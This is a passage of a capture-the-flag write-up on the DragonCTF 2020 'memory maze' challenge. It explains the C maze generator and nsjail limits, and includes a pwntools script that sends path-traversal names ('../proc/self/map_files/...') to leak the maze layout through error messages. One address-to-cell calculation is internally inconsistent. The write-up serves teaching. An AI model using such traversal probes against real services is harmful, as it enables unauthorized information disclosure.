<span class="w"> </span><span class="p">}</span>
<span class="w"> </span><span class="n">printf</span><span class="p">(</span><span class="s">"CONGRATULATIONS: %s</span><span class="se">\n</span><span class="s">"</span><span class="p">,</span><span class="w"> </span><span class="n">flag</span><span class="p">);</span>
<span class="w"> </span><span class="k">return</span><span class="w"> </span><span class="mi">0</span><span class="p">;</span>
<span class="p">}</span>
</code></pre></div>
<p>To win this, solve_maze has to return <code>1</code>. Ok, so what does <em>solve_maze</em> actually do? We can find it in <em>maze.c</em>:</p>
<div class="highlight"><pre><span></span><code><span class="kt">int</span><span class="w"> </span><span class="nf">solve_maze</span><span class="p">(</span><span class="k">struct</span><span class="w"> </span><span class="nc">maze</span><span class="o">*</span><span class="w"> </span><span class="n">maze</span><span class="p">,</span><span class="w"> </span><span class="kt">char</span><span class="o">*</span><span class="w"> </span><span class="n">solution</span><span class="p">)</span><span class="w"> </span><span class="p">{</span>
<span class="w"> </span><span class="kt">size_t</span><span class="w"> </span><span class="n">x</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="mi">1</span><span class="p">;</span>
<span class="w"> </span><span class="kt">size_t</span><span class="w"> </span><span class="n">y</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="mi">1</span><span class="p">;</span>
<span class="w"> </span><span class="k">while</span><span class="w"> </span><span class="p">(</span><span class="o">*</span><span class="n">solution</span><span class="p">)</span><span class="w"> </span><span class="p">{</span>
<span class="w"> </span><span class="k">switch</span><span class="w"> </span><span class="p">(</span><span class="o">*</span><span class="n">solution</span><span class="p">)</span><span class="w"> </span><span class="p">{</span>
<span class="w"> </span><span class="k">case</span><span class="w"> </span><span class="sc">'N'</span><span class="p">:</span>
<span class="w"> </span><span class="o">--</span><span class="n">y</span><span class="p">;</span>
<span class="w"> </span><span class="k">break</span><span class="p">;</span>
<span class="w"> </span><span class="k">case</span><span class="w"> </span><span class="sc">'S'</span><span class="p">:</span>
<span class="w"> </span><span class="o">++</span><span class="n">y</span><span class="p">;</span>
<span class="w"> </span><span class="k">break</span><span class="p">;</span>
<span class="w"> </span><span class="k">case</span><span class="w"> </span><span class="sc">'E'</span><span class="p">:</span>
<span class="w"> </span><span class="o">++</span><span class="n">x</span><span class="p">;</span>
<span class="w"> </span><span class="k">break</span><span class="p">;</span>
<span class="w"> </span><span class="k">case</span><span class="w"> </span><span class="sc">'W'</span><span class="p">:</span>
<span class="w"> </span><span class="o">--</span><span class="n">x</span><span class="p">;</span>
<span class="w"> </span><span class="k">break</span><span class="p">;</span>
<span class="w"> </span><span class="k">default</span><span class="o">:</span>
<span class="w"> </span><span class="n">x</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="mi">0</span><span class="p">;</span>
<span class="w"> </span><span class="n">y</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="mi">0</span><span class="p">;</span>
<span class="w"> </span><span class="k">break</span><span class="p">;</span>
<span class="w"> </span><span class="p">}</span>
<span class="w"> </span><span class="o">++</span><span class="n">solution</span><span class="p">;</span>
<span class="w"> </span><span class="kt">char</span><span class="o">*</span><span class="w"> </span><span class="n">ptr</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="n">maze</span><span class="o">-></span><span class="n">addr</span><span class="p">;</span><span class="w"> </span>
<span class="w"> </span><span class="o">*</span><span class="p">(</span><span class="k">volatile</span><span class="w"> </span><span class="kt">char</span><span class="o">*</span><span class="p">)</span><span class="n">ptr</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="sc">'X'</span><span class="p">;</span><span class="w"> </span>
<span class="w"> </span><span class="p">}</span>
<span class="w"> </span><span class="k">if</span><span class="w"> </span><span class="p">(</span><span class="n">x</span><span class="w"> </span><span class="o">==</span><span class="w"> </span><span class="n">maze</span><span class="o">-></span><span class="n">size</span><span class="w"> </span><span class="o">-</span><span class="w"> </span><span class="mi">2</span><span class="w"> </span><span class="o">&&</span><span class="w"> </span><span class="n">y</span><span class="w"> </span><span class="o">==</span><span class="w"> </span><span class="n">maze</span><span class="o">-></span><span class="n">size</span><span class="w"> </span><span class="o">-</span><span class="w"> </span><span class="mi">2</span><span class="p">)</span><span class="w"> </span><span class="p">{</span>
<span class="w"> </span><span class="k">return</span><span class="w"> </span><span class="mi">0</span><span class="p">;</span>
<span class="w"> </span><span class="p">}</span>
<span class="w"> </span><span class="k">return</span><span class="w"> </span><span class="mi">1</span><span class="p">;</span>
<span class="p">}</span>
</code></pre></div>
<p>The solver evaluates the solution as follows:
1. We start at <code>(1,1)</code>
2. We need to get to <code>(maze->size-2, maze->size-2)</code>
3. For each step of the solution, the program will try to write to a memory location, which is dependent on the current position in the maze. So, for a valid solution, all of the addresses need to be actually writable.</p>
<p>At this point it might be useful to inspect how the maze is actually generated. :)</p>
<h2>The maze awaits!</h2>
<p>After memory allocation for the maze, with a size of 303x303, the path through the maze is generated as follows:</p>
<div class="highlight"><pre><span></span><code><span class="c1">// maze.c:26ff</span>
<span class="w"> </span><span class="kt">size_t</span><span class="w"> </span><span class="n">i</span><span class="p">,</span><span class="w"> </span><span class="n">j</span><span class="p">;</span>
<span class="w"> </span><span class="k">for</span><span class="w"> </span><span class="p">(</span><span class="n">i</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="mi">1</span><span class="p">;</span><span class="w"> </span><span class="n">i</span><span class="w"> </span><span class="o"><</span><span class="w"> </span><span class="n">size</span><span class="w"> </span><span class="o">-</span><span class="w"> </span><span class="mi">1</span><span class="p">;</span><span class="w"> </span><span class="o">++</span><span class="n">i</span><span class="p">)</span><span class="w"> </span><span class="p">{</span>
<span class="w"> </span><span class="k">if</span><span class="w"> </span><span class="p">(</span><span class="n">i</span><span class="w"> </span><span class="o">%</span><span class="w"> </span><span class="mi">2</span><span class="w"> </span><span class="o">==</span><span class="w"> </span><span class="mi">0</span><span class="p">)</span><span class="w"> </span><span class="p">{</span>
<span class="w"> </span><span class="n">maze</span><span class="o">-></span><span class="n">maze</span><span class="p">[</span><span class="n">i</span><span class="w"> </span><span class="o">*</span><span class="w"> </span><span class="n">size</span><span class="w"> </span><span class="o">+</span><span class="w"> </span><span class="p">(</span><span class="n">i</span><span class="w"> </span><span class="o">%</span><span class="w"> </span><span class="mi">4</span><span class="w"> </span><span class="o">==</span><span class="w"> </span><span class="mi">0</span><span class="w"> </span><span class="o">?</span><span class="w"> </span><span class="mi">1</span><span class="w"> </span><span class="o">:</span><span class="w"> </span><span class="n">size</span><span class="w"> </span><span class="o">-</span><span class="w"> </span><span class="mi">2</span><span class="p">)]</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="mi">1</span><span class="p">;</span>
<span class="w"> </span><span class="kt">unsigned</span><span class="w"> </span><span class="kt">int</span><span class="w"> </span><span class="n">b</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="n">get_rand_uint</span><span class="p">();</span>
<span class="w"> </span><span class="n">maze</span><span class="o">-></span><span class="n">maze</span><span class="p">[</span><span class="n">i</span><span class="w"> </span><span class="o">*</span><span class="w"> </span><span class="n">size</span><span class="w"> </span><span class="o">+</span><span class="w"> </span><span class="mi">1</span><span class="w"> </span><span class="o">+</span><span class="w"> </span><span class="p">(</span><span class="n">b</span><span class="w"> </span><span class="o">%</span><span class="w"> </span><span class="p">(</span><span class="n">size</span><span class="w"> </span><span class="o">-</span><span class="w"> </span><span class="mi">2</span><span class="p">))]</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="mi">1</span><span class="p">;</span>
<span class="w"> </span><span class="p">}</span><span class="w"> </span><span class="k">else</span><span class="w"> </span><span class="p">{</span>
<span class="w"> </span><span class="k">for</span><span class="w"> </span><span class="p">(</span><span class="n">j</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="mi">1</span><span class="p">;</span><span class="w"> </span><span class="n">j</span><span class="w"> </span><span class="o"><</span><span class="w"> </span><span class="n">size</span><span class="w"> </span><span class="o">-</span><span class="w"> </span><span class="mi">1</span><span class="p">;</span><span class="w"> </span><span class="o">++</span><span class="n">j</span><span class="p">)</span><span class="w"> </span><span class="p">{</span>
<span class="w"> </span><span class="n">maze</span><span class="o">-></span><span class="n">maze</span><span class="p">[</span><span class="n">i</span><span class="w"> </span><span class="o">*</span><span class="w"> </span><span class="n">size</span><span class="w"> </span><span class="o">+</span><span class="w"> </span><span class="n">j</span><span class="p">]</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="mi">1</span><span class="p">;</span>
<span class="w"> </span><span class="p">}</span>
<span class="w"> </span><span class="p">}</span>
<span class="w"> </span><span class="p">}</span>
</code></pre></div>
<p>The algorithm goes through the rows in the maze and generates the following:
+ If the current row's index is 0 mod 2, then two things happen:
1. Depending on the index mod 4 it will alternatingly set column[1] or column[size-2] to <code>1</code>
2. It will generate a random index for the current column and set that to 1 as well.
+ Otherwise it will set every cell in <code>column[1:size-2]</code> to <code>1</code></p>
<p>Afterwards it will map addresses which correspond to the index in the maze for every cell which is set to <code>1</code>:</p>
<div class="highlight"><pre><span></span><code><span class="c1">// maze.c:42ff</span>
<span class="kt">int</span><span class="w"> </span><span class="nf">map_maze</span><span class="p">(</span><span class="k">struct</span><span class="w"> </span><span class="nc">maze</span><span class="o">*</span><span class="w"> </span><span class="n">maze</span><span class="p">,</span><span class="w"> </span><span class="kt">void</span><span class="o">*</span><span class="w"> </span><span class="n">addr</span><span class="p">)</span><span class="w"> </span><span class="p">{</span>
<span class="w"> </span><span class="n">maze</span><span class="o">-></span><span class="n">addr</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="n">addr</span><span class="p">;</span>
<span class="w"> </span><span class="kt">size_t</span><span class="w"> </span><span class="n">i</span><span class="p">,</span><span class="w"> </span><span class="n">j</span><span class="p">;</span>
<span class="w"> </span><span class="k">for</span><span class="w"> </span><span class="p">(</span><span class="n">i</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="mi">0</span><span class="p">;</span><span class="w"> </span><span class="n">i</span><span class="w"> </span><span class="o"><</span><span class="w"> </span><span class="n">maze</span><span class="o">-></span><span class="n">size</span><span class="p">;</span><span class="w"> </span><span class="o">++</span><span class="n">i</span><span class="p">)</span><span class="w"> </span><span class="p">{</span>
<span class="w"> </span><span class="k">for</span><span class="w"> </span><span class="p">(</span><span class="n">j</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="mi">0</span><span class="p">;</span><span class="w"> </span><span class="n">j</span><span class="w"> </span><span class="o"><</span><span class="w"> </span><span class="n">maze</span><span class="o">-></span><span class="n">size</span><span class="p">;</span><span class="w"> </span><span class="o">++</span><span class="n">j</span><span class="p">)</span><span class="w"> </span><span class="p">{</span>
<span class="w"> </span><span class="k">if</span><span class="w"> </span><span class="p">(</span><span class="o">!</span><span class="n">maze</span><span class="o">-></span><span class="n">maze</span><span class="p">[</span><span class="n">i</span><span class="w"> </span><span class="o">*</span><span class="w"> </span><span class="n">maze</span><span class="o">-></span><span class="n">size</span><span class="w"> </span><span class="o">+</span><span class="w"> </span><span class="n">j</span><span class="p">])</span><span class="w"> </span><span class="p">{</span>
<span class="w"> </span><span class="k">continue</span><span class="p">;</span>
<span class="w"> </span><span class="p">}</span>
<span class="w"> </span><span class="kt">void</span><span class="o">*</span><span class="w"> </span><span class="n">ptr</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="n">mmap</span><span class="p">(</span><span class="n">maze</span><span class="o">-></span><span class="n">addr</span><span class="w"> </span><span class="o">+</span><span class="w"> </span><span class="p">(</span><span class="n">i</span><span class="w"> </span><span class="o">*</span><span class="w"> </span><span class="n">maze</span><span class="o">-></span><span class="n">size</span><span class="w"> </span><span class="o">+</span><span class="w"> </span><span class="n">j</span><span class="p">)</span><span class="w"> </span><span class="o">*</span><span class="w"> </span><span class="n">PAGE_SIZE</span><span class="p">,</span>
<span class="w"> </span><span class="n">PAGE_SIZE</span><span class="p">,</span>
<span class="w"> </span><span class="n">PROT_READ</span><span class="w"> </span><span class="o">|</span><span class="w"> </span><span class="n">PROT_WRITE</span><span class="p">,</span>
<span class="w"> </span><span class="n">MAP_ANONYMOUS</span><span class="w"> </span><span class="o">|</span><span class="w"> </span><span class="n">MAP_SHARED</span><span class="w"> </span><span class="o">|</span><span class="w"> </span><span class="n">MAP_FIXED_NOREPLACE</span><span class="p">,</span>
<span class="w"> </span><span class="mi">-1</span><span class="p">,</span><span class="w"> </span><span class="mi">0</span><span class="p">);</span>
<span class="w"> </span><span class="k">if</span><span class="w"> </span><span class="p">(</span><span class="n">ptr</span><span class="w"> </span><span class="o">==</span><span class="w"> </span><span class="n">MAP_FAILED</span><span class="p">)</span><span class="w"> </span><span class="p">{</span>
<span class="w"> </span><span class="k">return</span><span class="w"> </span><span class="mi">1</span><span class="p">;</span>
<span class="w"> </span><span class="p">}</span>
<span class="w"> </span><span class="p">}</span>
<span class="w"> </span><span class="p">}</span>
<span class="w"> </span><span class="k">return</span><span class="w"> </span><span class="mi">0</span><span class="p">;</span>
<span class="p">}</span>
</code></pre></div>
<p>Since it might not be straight forward to understand let's look at an example for the maze:</p>
<p><img alt="Random Maze" src="https://w0y.at/images/dragonctf2020/memmaze/maze.png"></p>
<p>In this maze, the walls are the grey, the free paths are the green part, and we need to go from the yellow point on the top left to the orange dot at the lower right.</p>
<p>Looking at the sample closely, one sees a path that is not relying on the randomly defined gates:</p>
<ul>
<li>start is at 1, 1</li>
<li>go east until you reach the right wall - 300 steps</li>
<li>go south until you reach the horizontal wall - 2 steps</li>
<li>go west until you reach the left wall - 300 steps</li>
<li>etc.</li>
</ul>
<p>Let's try this. And really, if we generate the path like this and feed it to the binary <code>./main</code> directly we indeed retrieve the <em>dummy flag</em> from flag.txt. <strong>YAY!</strong></p>
<p>But unfortunately not on the challenge host. :( On the remote host, things get weird when entering a path which is longer than ~ 25k steps. Assuming the binary running remotely is exactly the one shipped, there must be something that we are missing here. After inspecting the files again, we find the flaw in our approach. When testing the binary, we did neglect the nsjail, which is used to run the binary on the remote end.</p>
<div class="highlight"><pre><span></span><code><span class="ch">#!/bin/sh</span>
<span class="nb">set</span><span class="w"> </span>-eu<span class="w"> </span>
<span class="nv">PWD</span><span class="o">=</span><span class="s2">"`pwd`"</span>
<span class="k">if</span><span class="w"> </span>swapon<span class="w"> </span>-s<span class="w"> </span><span class="m">2</span>><span class="p">&</span><span class="m">1</span><span class="w"> </span><span class="p">|</span><span class="w"> </span>grep<span class="w"> </span>-q<span class="w"> </span><span class="s1">'.'</span><span class="p">;</span><span class="w"> </span><span class="k">then</span>
<span class="w"> </span><span class="nb">echo</span><span class="w"> </span><span class="s2">"You should turn the swap off"</span>
<span class="w"> </span><span class="nb">exit</span><span class="w"> </span><span class="m">1</span><span class="w"> </span>
<span class="k">fi</span>
~/nsjail/nsjail<span class="w"> </span>-Q<span class="w"> </span>-Ml<span class="w"> </span>--port<span class="w"> </span><span class="m">1337</span><span class="w"> </span>-R<span class="w"> </span><span class="s2">"</span><span class="nv">$PWD</span><span class="s2">/main:/main"</span><span class="w"> </span><span class="se">\</span>
-R<span class="w"> </span><span class="s2">"</span><span class="nv">$PWD</span><span class="s2">/flag.txt:/flag.txt"</span><span class="w"> </span>-R<span class="w"> </span>/dev/urandom<span class="w"> </span>-T<span class="w"> </span>/tmp<span class="w"> </span><span class="se">\</span>
--cgroup_mem_max<span class="w"> </span><span class="m">170000384</span><span class="w"> </span>--<span class="w"> </span>/main
</code></pre></div>
<p>So the behaviour we observed could be the result of restrictions enforced by nsjail. </p>
<p>According to the nsjail man page:</p>
<div class="highlight"><pre><span></span><code>--cgroup_mem_max VALUE
Maximum number of bytes to use in the group (default: '0' - disabled)
</code></pre></div>
<p>To verify this we try running the binary locally with nsjail as well but remove the argument <code>--cgroup_mem_max 170000384</code>;
The exploit works. Adding the argument again, the exploit fails again. We seem to hit memory restrictions enforced, preventing us from going the full path to the end, damn. Would have been too easy.</p>
<p><strong>This means we need to find a shorter path through the maze!</strong></p>
<h2>Reading the map again...</h2>
<p>There must really be something we missed here. We really tried hard to understand the map, but we dug ourselves some rabbit-holes on the way, which we went down hard.
+ Are there any files that would help us exploit the challenge we could write to with the path traversal?
+ Is there a flaw in the random path generation?
+ Is there a problem with the mappings?</p>
<p>After some hours of trial and error, to the best of our knowledge, the answer to above questions is <strong>No</strong>. So much for that...</p>
<p>Finally, we realised that the username was check in a loop? Why would this loop be there?
Further inspection of the loop revealed another very interesting aspect: </p>
<div class="highlight"><pre><span></span><code><span class="n">solution_fd</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="n">open</span><span class="p">(</span><span class="n">path</span><span class="p">,</span><span class="w"> </span><span class="n">O_WRONLY</span><span class="w"> </span><span class="o">|</span><span class="w"> </span><span class="n">O_CREAT</span><span class="p">,</span><span class="w"> </span><span class="n">S_IRWXU</span><span class="p">);</span>
<span class="k">if</span><span class="w"> </span><span class="p">(</span><span class="n">solution_fd</span><span class="w"> </span><span class="o"><</span><span class="w"> </span><span class="mi">0</span><span class="p">)</span><span class="w"> </span><span class="p">{</span>
<span class="w"> </span><span class="n">printf</span><span class="p">(</span><span class="s">"Path </span><span class="se">\"</span><span class="s">%s</span><span class="se">\"</span><span class="s"> is invalid: %m</span><span class="se">\n</span><span class="s">"</span><span class="p">,</span><span class="w"> </span><span class="n">path</span><span class="p">);</span>
<span class="p">}</span>
</code></pre></div>
<p>On failure to open the file for writing, the program would not just tell us that it could not open the file, but would also tell us exactly <em>WHY</em> it was not able to open the file (printf's <code>%m</code> modifier will print the error message).
This means we get different error messages depending on whether the file exist, but is not writable, or if the file does not exist but the underlying folder is not writable.</p>
<p>That was the hint that sent us looking in the right direction. How could we possibly leak information about the randomly generated path in the maze by accessing the filesystem? </p>
<h2>Digging out the treasure</h2>
<p>As this is something that has to be process specific, we started by investigating the <code>proc</code> filesystem for a running instance of <code>main</code>. And indeed, the <code>/proc/<pid>/map_files</code> folder holds a file for every memory mapping done in this program.</p>
<p>The names are based on the start and end address of the mapped region and look like this:</p>
<div class="highlight"><pre><span></span><code>...
18cb5000-18cb6000 1e65e000-1e65f000 23ed8000-23ed9000 29881000-29882000
18cb6000-18cb7000 1e65f000-1e660000 23ed9000-23eda000 29882000-29883000
18cb7000-18cb8000 1e660000-1e661000 23eda000-23edb000 29883000-29884000
18cb8000-18cb9000 1e661000-1e662000 23edb000-23edc000 29884000-29885000
18cb9000-18cba000 1e662000-1e663000 23edc000-23edd000 29885000-29886000
18cba000-18cbb000 1e663000-1e664000 23edd000-23ede000 29886000-29887000
18cbb000-18cbc000 1e664000-1e665000 23ede000-23edf000 29887000-29888000
18cbc000-18cbd000 1e665000-1e666000 23edf000-23ee0000 29888000-29889000
18cbd000-18cbe000 1e666000-1e667000 23ee0000-23ee1000 29889000-2988a000
...
</code></pre></div>
<p>The pattern is <code><startaddr>-<endaddr></code>. Great! We already know from the maze mapping algorithm, that it will create a mapping based on the index of the cell in the maze:</p>
<div class="highlight"><pre><span></span><code><span class="kt">void</span><span class="o">*</span><span class="w"> </span><span class="n">ptr</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="n">mmap</span><span class="p">(</span><span class="n">maze</span><span class="o">-></span><span class="n">addr</span><span class="w"> </span><span class="o">+</span><span class="w"> </span><span class="p">(</span><span class="n">i</span><span class="w"> </span><span class="o">*</span><span class="w"> </span><span class="n">maze</span><span class="o">-></span><span class="n">size</span><span class="w"> </span><span class="o">+</span><span class="w"> </span><span class="n">j</span><span class="p">)</span><span class="w"> </span><span class="o">*</span><span class="w"> </span><span class="n">PAGE_SIZE</span><span class="p">,</span>
<span class="w"> </span><span class="n">PAGE_SIZE</span><span class="p">,</span>
<span class="w"> </span><span class="n">PROT_READ</span><span class="w"> </span><span class="o">|</span><span class="w"> </span><span class="n">PROT_WRITE</span><span class="p">,</span>
<span class="w"> </span><span class="n">MAP_ANONYMOUS</span><span class="w"> </span><span class="o">|</span><span class="w"> </span><span class="n">MAP_SHARED</span><span class="w"> </span><span class="o">|</span><span class="w"> </span><span class="n">MAP_FIXED_NOREPLACE</span><span class="p">,</span>
<span class="w"> </span><span class="mi">-1</span><span class="p">,</span><span class="w"> </span><span class="mi">0</span><span class="p">);</span>
</code></pre></div>
<p>Specifically, it uses <code>maze->addr + (i * maze->size + j) * PAGE_SIZE</code> as base address and create the pages with a size of <code>PAGE_SIZE</code>, which is set to 0x1000. We also know maze->addr, which is set to <code>(char*)0x13370000ul)</code>.</p>
<p>With this information, we can generate all possible map files, and see if they exist in the file system or not. If a specific file exists, we know that this cell is mapped in the maze, and can be traversed.
As a short example, if we take a file with a name<code>18cb5000-18cb6000</code>, this would mean that the cell <code>[89][69]</code> can safely be <em>accessed</em> in the maze.</p>
<div class="highlight"><pre><span></span><code><span class="n">i</span> <span class="o">=</span> <span class="nb">int</span><span class="p">(((</span><span class="mh">0x18cb5000</span> <span class="o">-</span> <span class="mh">0x13370000</span><span class="p">)</span> <span class="o">/</span> <span class="mh">0x1000</span><span class="p">)</span> <span class="o">/</span> <span class="mi">256</span><span class="p">)</span>
<span class="n">j</span> <span class="o">=</span> <span class="nb">int</span><span class="p">(((</span><span class="mh">0x18cb5000</span> <span class="o">-</span> <span class="mh">0x13370000</span><span class="p">)</span> <span class="o">/</span> <span class="mh">0x1000</span><span class="p">)</span> <span class="o">/</span> <span class="mi">256</span><span class="p">)</span>
<span class="n">i</span><span class="p">,</span> <span class="n">j</span>
<span class="p">(</span><span class="mi">89</span><span class="p">,</span> <span class="mi">69</span><span class="p">)</span>
</code></pre></div>
<h2>Treasure Chest Party Quest!</h2>
<p>Armed with this information it is only a matter of finding the traversable cells in the maze and then calculating a path through it. However, our initial (dump) approach of just iterating through all possible cells to leak the full maze did work against a local deployment, but it was way to slow to find a solution remotely. If we remember the maze from before, we already know that most of the path is always the same.</p>
<p><img alt="Maze predictable" src="https://w0y.at/images/dragonctf2020/memmaze/maze_deterministic.png"></p>
<p>So all we need to find are the random holes that get punched through the walls.
Therefore we only need to look in every second row until we find a hole and then continue on. With this improvement, finding the maze becomes feasible on the remote end as well.</p>
<div class="highlight"><pre><span></span><code><span class="n">MAZE_SIZE</span> <span class="o">=</span> <span class="mi">303</span>
<span class="n">MAZE_BASE</span> <span class="o">=</span> <span class="mh">0x13370000</span>
<span class="c1"># Create the initial maze</span>
<span class="n">maze</span> <span class="o">=</span> <span class="p">[]</span>
<span class="n">maze</span><span class="o">.</span><span class="n">append</span><span class="p">([</span><span class="mi">1</span><span class="p">]</span> <span class="o">*</span> <span class="n">MAZE_SIZE</span><span class="p">)</span>
<span class="k">for</span> <span class="n">x</span> <span class="ow">in</span> <span class="nb">range</span><span class="p">(</span><span class="mi">75</span><span class="p">):</span>
<span class="n">maze</span><span class="o">.</span><span class="n">append</span><span class="p">([</span><span class="mi">1</span><span class="p">]</span> <span class="o">+</span> <span class="p">[</span><span class="mi">0</span><span class="p">]</span><span class="o">*</span><span class="p">(</span><span class="n">MAZE_SIZE</span><span class="o">-</span><span class="mi">2</span><span class="p">)</span> <span class="o">+</span> <span class="p">[</span><span class="mi">1</span><span class="p">])</span>
<span class="n">maze</span><span class="o">.</span><span class="n">append</span><span class="p">([</span><span class="mi">1</span><span class="p">]</span> <span class="o">*</span><span class="p">(</span><span class="n">MAZE_SIZE</span><span class="o">-</span><span class="mi">2</span><span class="p">)</span> <span class="o">+</span> <span class="p">[</span><span class="mi">0</span><span class="p">]</span> <span class="o">+</span> <span class="p">[</span><span class="mi">1</span><span class="p">])</span>
<span class="n">maze</span><span class="o">.</span><span class="n">append</span><span class="p">([</span><span class="mi">1</span><span class="p">]</span> <span class="o">+</span> <span class="p">[</span><span class="mi">0</span><span class="p">]</span> <span class="o">*</span> <span class="p">(</span><span class="n">MAZE_SIZE</span><span class="o">-</span><span class="mi">2</span><span class="p">)</span> <span class="o">+</span> <span class="p">[</span><span class="mi">1</span><span class="p">])</span>
<span class="n">maze</span><span class="o">.</span><span class="n">append</span><span class="p">([</span><span class="mi">1</span><span class="p">]</span> <span class="o">+</span> <span class="p">[</span><span class="mi">0</span><span class="p">]</span> <span class="o">+</span> <span class="p">[</span><span class="mi">1</span><span class="p">]</span> <span class="o">*</span><span class="p">(</span><span class="n">MAZE_SIZE</span><span class="o">-</span><span class="mi">2</span><span class="p">))</span>
<span class="n">maze</span><span class="o">.</span><span class="n">append</span><span class="p">([</span><span class="mi">1</span><span class="p">]</span> <span class="o">+</span> <span class="p">[</span><span class="mi">0</span><span class="p">]</span><span class="o">*</span><span class="p">(</span><span class="n">MAZE_SIZE</span><span class="o">-</span><span class="mi">2</span><span class="p">)</span> <span class="o">+</span> <span class="p">[</span><span class="mi">1</span><span class="p">])</span>
<span class="n">maze</span><span class="o">.</span><span class="n">append</span><span class="p">([</span><span class="mi">1</span><span class="p">]</span> <span class="o">*</span> <span class="n">MAZE_SIZE</span><span class="p">)</span>
<span class="c1"># Now let's leak the maze</span>
<span class="n">p</span> <span class="o">=</span> <span class="n">remote</span><span class="p">(</span><span class="s1">'localhost'</span><span class="p">,</span> <span class="mi">1337</span><span class="p">)</span>
<span class="c1">#p = remote('memorymaze.hackable.software', 1337)</span>
<span class="k">with</span> <span class="n">log</span><span class="o">.</span><span class="n">progress</span><span class="p">(</span><span class="s1">'Leaking Maze'</span><span class="p">)</span> <span class="k">as</span> <span class="n">logp</span><span class="p">:</span>
<span class="k">for</span> <span class="n">x</span> <span class="ow">in</span> <span class="nb">range</span><span class="p">(</span><span class="mi">2</span><span class="p">,</span><span class="n">MAZE_SIZE</span><span class="p">,</span><span class="mi">2</span><span class="p">):</span>
<span class="n">logp</span><span class="o">.</span><span class="n">status</span><span class="p">(</span><span class="sa">f</span><span class="s2">"At row: </span><span class="si">{</span><span class="n">x</span><span class="si">}</span><span class="s2">"</span><span class="p">)</span>
<span class="k">for</span> <span class="n">y</span> <span class="ow">in</span> <span class="nb">range</span><span class="p">(</span><span class="mi">2</span><span class="p">,</span><span class="n">MAZE_SIZE</span><span class="o">-</span><span class="mi">1</span><span class="p">):</span>
<span class="n">offset</span> <span class="o">=</span> <span class="n">x</span><span class="o">*</span><span class="n">MAZE_SIZE</span> <span class="o">+</span> <span class="n">y</span>
<span class="n">p</span><span class="o">.</span><span class="n">readuntil</span><span class="p">(</span><span class="s1">'Your name:'</span><span class="p">)</span>
<span class="n">offset</span> <span class="o">=</span> <span class="n">MAZE_BASE</span> <span class="o">+</span> <span class="n">offset</span> <span class="o">*</span> <span class="mh">0x1000</span>
<span class="n">p</span><span class="o">.</span><span class="n">sendline</span><span class="p">(</span><span class="s1">'../proc/self/map_files/</span><span class="si">{}</span><span class="s1">-</span><span class="si">{}</span><span class="s1">'</span><span class="o">.</span><span class="n">format</span><span class="p">(</span> <span class="nb">hex</span><span class="p">(</span><span class="n">offset</span><span class="p">)[</span><span class="mi">2</span><span class="p">:],</span><span class="nb">hex</span><span class="p">(</span><span class="n">offset</span><span class="o">+</span><span class="mh">0x1000</span><span class="p">)[</span><span class="mi">2</span><span class="p">:]))</span>
<span class="n">p</span><span class="o">.</span><span class="n">readline</span><span class="p">()</span>
<span class="n">p</span><span class="o">.</span><span class="n">readline</span><span class="p">()</span>
<span class="n">data</span> <span class="o">=</span> <span class="n">p</span><span class="o">.</span><span class="n">readline</span><span class="p">()</span>
<span class="k">if</span> <span class="sa">b</span><span class="s1">'Operation not permitted'</span> <span class="ow">in</span> <span class="n">data</span><span class="p">:</span>
<span class="n">maze</span><span class="p">[</span><span class="n">x</span><span class="p">][</span><span class="n">y</span><span class="p">]</span> <span class="o">=</span> <span class="mi">0</span>
<span class="k">break</span>
<span class="n">log</span><span class="o">.</span><span class="n">success</span><span class="p">(</span><span class="s2">"We got the maze!"</span><span class="p">)</span>
</code></pre></div>
<p>After that we <em>only</em> have to find a valid path through the maze. We started by using <code>A*</code> to look for a path, but it took quite a while to return a path. Impatient as I am, I didn't want to wait that long for solutions during testing. :)
Since the path we need to find does not have to be the <em>optimal</em> solution, but just one that is <em>good enough</em> (read: shorter than ~25k steps), a simple recursive algorithm suffices to quickly find a path through the maze.</p>
<div class="highlight"><pre><span></span><code><span class="n">start</span> <span class="o">=</span> <span class="p">(</span><span class="mi">1</span><span class="p">,</span> <span class="mi">1</span><span class="p">)</span>
<span class="n">end</span> <span class="o">=</span> <span class="p">(</span><span class="n">MAZE_SIZE</span><span class="o">-</span><span class="mi">2</span><span class="p">,</span> <span class="n">MAZE_SIZE</span><span class="o">-</span><span class="mi">2</span><span class="p">)</span>
<span class="n">PATH_MAX</span> <span class="o">=</span> <span class="mi">25000</span>
<span class="k">def</span> <span class="nf">mazerunner</span><span class="p">(</span><span class="n">rows</span><span class="p">,</span> <span class="n">path</span> <span class="o">=</span> <span class="s1">''</span><span class="p">,</span> <span class="n">posx</span> <span class="o">=</span> <span class="mi">1</span><span class="p">):</span>
<span class="c1"># Return if the path is too long</span>
<span class="k">if</span> <span class="nb">len</span><span class="p">(</span><span class="n">path</span><span class="p">)</span> <span class="o">></span> <span class="n">PATH_MAX</span><span class="p">:</span>
<span class="k">return</span> <span class="kc">None</span>
<span class="c1"># Finish the path in case we are in the last row already</span>
<span class="k">if</span> <span class="nb">len</span><span class="p">(</span><span class="n">rows</span><span class="p">)</span> <span class="o"><</span> <span class="mi">2</span><span class="p">:</span>
<span class="c1">#calculate last steps</span>
<span class="k">return</span> <span class="n">path</span> <span class="o">+</span> <span class="s1">'E'</span> <span class="o">*</span> <span class="p">(</span><span class="n">end</span><span class="p">[</span><span class="mi">1</span><span class="p">]</span> <span class="o">-</span> <span class="n">posx</span><span class="p">)</span>
<span class="c1"># Find the holes and sort them by distance to the current posistion</span>
